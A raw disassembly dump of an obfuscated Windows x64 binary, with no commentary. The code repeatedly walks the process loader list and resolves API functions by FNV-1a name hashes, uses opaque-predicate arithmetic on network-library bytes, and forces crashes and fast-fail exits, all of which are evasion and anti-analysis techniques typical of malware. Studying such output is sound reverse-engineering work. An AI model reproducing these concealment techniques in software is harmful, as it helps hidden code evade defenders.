jne 0x1401040a9
xor edx, edx
mov qword [0x140342ff0], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x140342fe8]
test rdx, rdx
jne 0x140104337
xor ebx, ebx
mov esi, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov r10, r15
movups xmm0, xmmword [r10 + 0x58]
movd eax, xmm0
sub ax, 8
test ebx, ebx
je 0x140104251
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140104244
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140104235
cmp edx, ebx
jne 0x140104318
mov r8, qword [r10 + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov rax, qword [rax + r8 + 0x88]
mov r9d, eax
add r9, r8
shr rax, 0x20
cmp r9, r8
je 0x140104318
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x140104318
mov r12d, dword [r9 + 0x20]
dec r11d
lea rcx, [r8 + r11*4]
mov edx, dword [rcx + r12]
add rdx, r8
mov edi, 0x811c9dc5
jmp 0x1401042a5
movsx ecx, cl
xor ecx, edi
imul edi, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x14010429a
cmp edi, esi
je 0x1401042b9
test r11d, r11d
jne 0x140104285
jmp 0x140104318
mov edx, dword [r9 + 0x1c]
add rdx, r8
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r11*2]
mov edx, dword [rdx + rcx*4]
add rdx, r8
cmp rdx, r9
jbe 0x140104330
lea rcx, [rax + r9]
cmp rdx, rcx
jae 0x140104330
mov eax, 0x811c9dc5
mov ebx, eax
mov esi, eax
jmp 0x1401042f9
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401042eb
jmp 0x14010430c
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140104301
mov r10, qword [r15]
mov rax, qword [r10]
mov r10, rax
cmp rax, r15
je 0x14010432e
cmp qword [rax + 0x30], 0
jne 0x140104209
xor edx, edx
mov qword [0x140342fe8], rdx
xor ecx, ecx
call rdx
cmp qword [0x140342fe0], 0
jne 0x140104499
xor ebx, ebx
mov esi, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov r8, r15
movups xmm0, xmmword [r8 + 0x58]
movd eax, xmm0
sub ax, 8
test ebx, ebx
je 0x1401043af
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401043a2
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x140104393
cmp edx, ebx
jne 0x140104479
mov r9, qword [r8 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140104479
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140104479
mov r12d, dword [r10 + 0x20]
dec r11d
lea rcx, [r9 + r11*4]
mov edx, dword [rcx + r12]
add rdx, r9
mov edi, 0x811c9dc5
jmp 0x140104403
movsx ecx, cl
xor ecx, edi
imul edi, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x1401043f8
cmp edi, esi
je 0x140104417
test r11d, r11d
jne 0x1401043e3
jmp 0x140104479
mov edx, dword [r10 + 0x1c]
add rdx, r9
mov ecx, dword [r10 + 0x24]
add rcx, r9
movzx ecx, word [rcx + r11*2]
mov r8d, dword [rdx + rcx*4]
add r8, r9
cmp r8, r10
jbe 0x140104492
lea rcx, [r10 + rax]
cmp r8, rcx
jae 0x140104492
mov eax, 0x811c9dc5
mov ebx, eax
mov esi, eax
jmp 0x140104458
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
inc r8
mov al, byte [r8]
cmp al, 0x2e
jne 0x14010444a
jmp 0x14010446c
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r8
mov al, byte [r8]
test al, al
jne 0x140104461
mov r8, qword [r15]
mov rax, qword [r8]
mov r8, rax
cmp rax, r15
je 0x14010448f
cmp qword [rax + 0x30], 0
jne 0x140104367
xor r8d, r8d
mov qword [0x140342fe0], r8
xor ecx, ecx
int 0x29
xor r9d, r9d
imul r11d, r13d, 7
mov esi, dword [rbp - 0x78]
add r11d, esi
mov r10d, dword [rsp + 0x78]
lea r14d, [rcx + 9]
mov r15d, dword [rbp - 0x70]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r11d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010456d
call fcn.1401379ec
movsx edx, al
movsx eax, byte [0x140341580]
imul edx, eax
lea r8d, [rdx + rdx*4]
add r8d, r8d
call fcn.1401379f8
movsx ecx, al
sub r8d, ecx
call fcn.1401379f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x14010456d
mov r10d, r14d
jmp 0x1401045c0
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r11d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401045c0
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r13d
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r10d, xmm0
cmp r9d, r10d
jge 0x1401045f2
mov edx, 1
mov eax, edx
mov qword [rsp + 0x78], rdx
mov ecx, edx
mov qword [rsp + rcx*8 + 0x78], rax
mov rax, qword [rsp + 0x78]
add rax, rdx
mov rcx, rax
mov qword [rsp + 0x78], rax
jne 0x1401045d3
add r9d, edx
jmp 0x1401044b7
mov qword [0], 0x99
mov r12d, 0xf84eee59
jmp 0x140104615
mov esi, dword [rbp - 0x78]
mov r15d, dword [rbp - 0x70]
jmp 0x14010461a
mov r14d, 9
mov ebx, 0xcded1a85
call fcn.14012d5e4
call fcn.14012f83c
mov al, byte [rbp - 0x4c]
mov byte [0x14034150c], al
mov al, byte [rsp + 0x70]
mov byte [0x140341509], al
mov rdx, qword [rbp - 0x80]
lea rcx, [0x14033f870]
call fcn.1400ded04
mov al, byte [rbp + 0x1a8]
mov byte [0x140341512], al
mov byte [0x14034150d], 1
lea eax, [r13*2]
add eax, r13d
lea r11d, [rsi + rax*2]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r11d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140105332
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xor eax, eax
cmp byte [0x140341508], al
sete al
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140104733
call fcn.1401379ec
movsx edx, al
movsx eax, byte [0x140341580]
imul edx, eax
lea r8d, [rdx + rdx*4]
add r8d, r8d
call fcn.1401379f8
movsx ecx, al
sub r8d, ecx
call fcn.1401379f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x140104733
mov r9d, 9
jmp 0x140104792
imul ecx, r13d, 7
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, esi
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010478d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r13d
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r9d, xmm0
jmp 0x140104792
mov r9d, dword [rsp + 0x78]
lea r10d, [rsi + r13]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r9d
xor r13d, r13d
test eax, eax
je 0x14010532a
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r11d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010492b
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movzx eax, byte [0x14034150c]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140104887
call fcn.1401379ec
movsx edx, al
movsx eax, byte [0x140341580]
imul edx, eax
lea r8d, [rdx + rdx*4]
add r8d, r8d
call fcn.1401379f8
movsx ecx, al
sub r8d, ecx
call fcn.1401379f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x140104887
lea r9d, [r13 + 9]
jmp 0x140104900
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401048fb
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r9d, xmm0
jmp 0x140104900
mov r9d, dword [rsp + 0x78]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x14010492b
call fcn.140137ae4
mov rdx, qword [0x140342ec8]
test rdx, rdx
jne 0x140104a86
mov edi, r13d
mov esi, ebx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14010499e
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140104991
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140104982
cmp edx, edi
jne 0x140104a67
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140104a67
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140104a67
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r15 + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401049f2
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401049e7
cmp edx, esi
je 0x140104a07
test r11d, r11d
jne 0x1401049d2
jmp 0x140104a67
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140104a7f
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140104a7f
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140104a48
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140104a3a
jmp 0x140104a5b
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140104a50
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x140104a7c
cmp qword [rax + 0x30], r13
jne 0x140104957
mov rdx, r13
mov qword [0x140342ec8], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x140343000]
test rbx, rbx
jne 0x140104be9
mov edi, r13d
mov esi, r12d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140104b01
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140104af4
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140104ae5
cmp edx, edi
jne 0x140104bca
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140104bca
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140104bca
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r15 + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140104b55
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140104b4a
cmp edx, esi
je 0x140104b6a
test r11d, r11d
jne 0x140104b35
jmp 0x140104bca
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x140104be2
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x140104be2
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140104bab
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rbx
mov al, byte [rbx]
cmp al, 0x2e
jne 0x140104b9d
jmp 0x140104bbe
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rbx
mov al, byte [rbx]
test al, al
jne 0x140104bb3
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x140104bdf
cmp qword [rax + 0x30], r13
jne 0x140104aba
mov rbx, r13
mov qword [0x140343000], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x140342ff8]
test rdx, rdx
jne 0x140104d54
mov edi, r13d
mov esi, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140104c6c
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140104c5f
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140104c50
cmp edx, edi
jne 0x140104d35
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140104d35
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140104d35
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r15 + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140104cc0
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140104cb5
cmp edx, esi
je 0x140104cd5
test r11d, r11d
jne 0x140104ca0
jmp 0x140104d35
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140104d4d
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140104d4d
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140104d16
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140104d08
jmp 0x140104d29
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140104d1e
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x140104d4a
cmp qword [rax + 0x30], r13
jne 0x140104c25
mov rdx, r13
mov qword [0x140342ff8], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x140342ff0]
test rdx, rdx
jne 0x140104eb6
mov edi, r13d
mov esi, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140104dce
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140104dc1
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140104db2
cmp edx, edi
jne 0x140104e97
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140104e97
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140104e97
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r15 + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140104e22
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140104e17
cmp edx, esi
je 0x140104e37
test r11d, r11d
jne 0x140104e02
jmp 0x140104e97
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140104eaf
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140104eaf
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140104e78
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140104e6a
jmp 0x140104e8b
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140104e80
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x140104eac
cmp qword [rax + 0x30], r13
jne 0x140104d87
mov rdx, r13
mov qword [0x140342ff0], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x140342fe8]
test rdx, rdx
jne 0x140105018
mov edi, r13d
mov esi, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140104f30
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140104f23
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140104f14
cmp edx, edi
jne 0x140104ff9
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140104ff9
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140104ff9
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r15 + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140104f84
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140104f79
cmp edx, esi
je 0x140104f99
test r11d, r11d
jne 0x140104f64
jmp 0x140104ff9
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140105011
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140105011
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140104fda
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140104fcc
jmp 0x140104fed
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140104fe2
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x14010500e
cmp qword [rax + 0x30], r13
jne 0x140104ee9
mov rdx, r13
mov qword [0x140342fe8], rdx
xor ecx, ecx
call rdx
cmp qword [0x140342fe0], r13
jne 0x140105179
mov edi, r13d
mov esi, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14010508f
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140105082
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140105073
cmp edx, edi
jne 0x14010515a
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14010515a
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14010515a
mov r15d, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r15]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x1401050e3
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401050d8
cmp edx, esi
je 0x1401050f8
test r9d, r9d
jne 0x1401050c3
jmp 0x14010515a
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x140105172
lea rcx, [rax + r11]
cmp r9, rcx
jae 0x140105172
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140105139
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc r9
mov al, byte [r9]
cmp al, 0x2e
jne 0x14010512b
jmp 0x14010514d
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r9
mov al, byte [r9]
test al, al
jne 0x140105142
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x14010516f
cmp qword [rax + 0x30], r13
jne 0x140105048
mov r9, r13
mov qword [0x140342fe0], r9
xor ecx, ecx
int 0x29
mov r9d, r13d
call fcn.1401379e4
movsx edx, al
call fcn.1401379e8
movsx ecx, al
imul edx, ecx
imul r11d, edx, 7
call fcn.1401379f4
movsx ecx, al
add r11d, ecx
call fcn.1401379e4
movsx edx, al
call fcn.1401379e8
movsx ecx, al
imul edx, ecx
lea edi, [rdx + rdx*4]
call fcn.1401379f4
movsx ecx, al
add edi, ecx
call fcn.1401379e4
movsx ebx, al
call fcn.1401379e8
movsx ecx, al
imul ebx, ecx
call fcn.1401379f4
movsx ecx, al
add ebx, ecx
mov r10d, dword [rsp + 0x78]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r11d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010529c
call fcn.1401379ec
movsx edx, al
movsx eax, byte [0x140341580]
imul edx, eax
lea r8d, [rdx + rdx*4]
add r8d, r8d
call fcn.1401379f8
movsx ecx, al
sub r8d, ecx
call fcn.1401379f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x14010529c
mov r10d, 9
jmp 0x1401052ec
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r11d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401052ec
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, ebx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r10d, xmm0
cmp r9d, r10d
jge 0x14010531e
mov edx, 1
mov eax, edx
mov qword [rsp + 0x78], rdx
mov ecx, edx
mov qword [rsp + rcx*8 + 0x78], rax
mov rax, qword [rsp + 0x78]
add rax, rdx
mov rcx, rax
mov qword [rsp + 0x78], rax
jne 0x1401052ff
add r9d, edx
jmp 0x1401051e4
mov qword [0], 0x99
mov r14d, 9
jmp 0x140105335
xor r13d, r13d
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
imul r10d, edx, 7
call fcn.1401379f4
movsx ecx, al
add r10d, ecx
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140106125
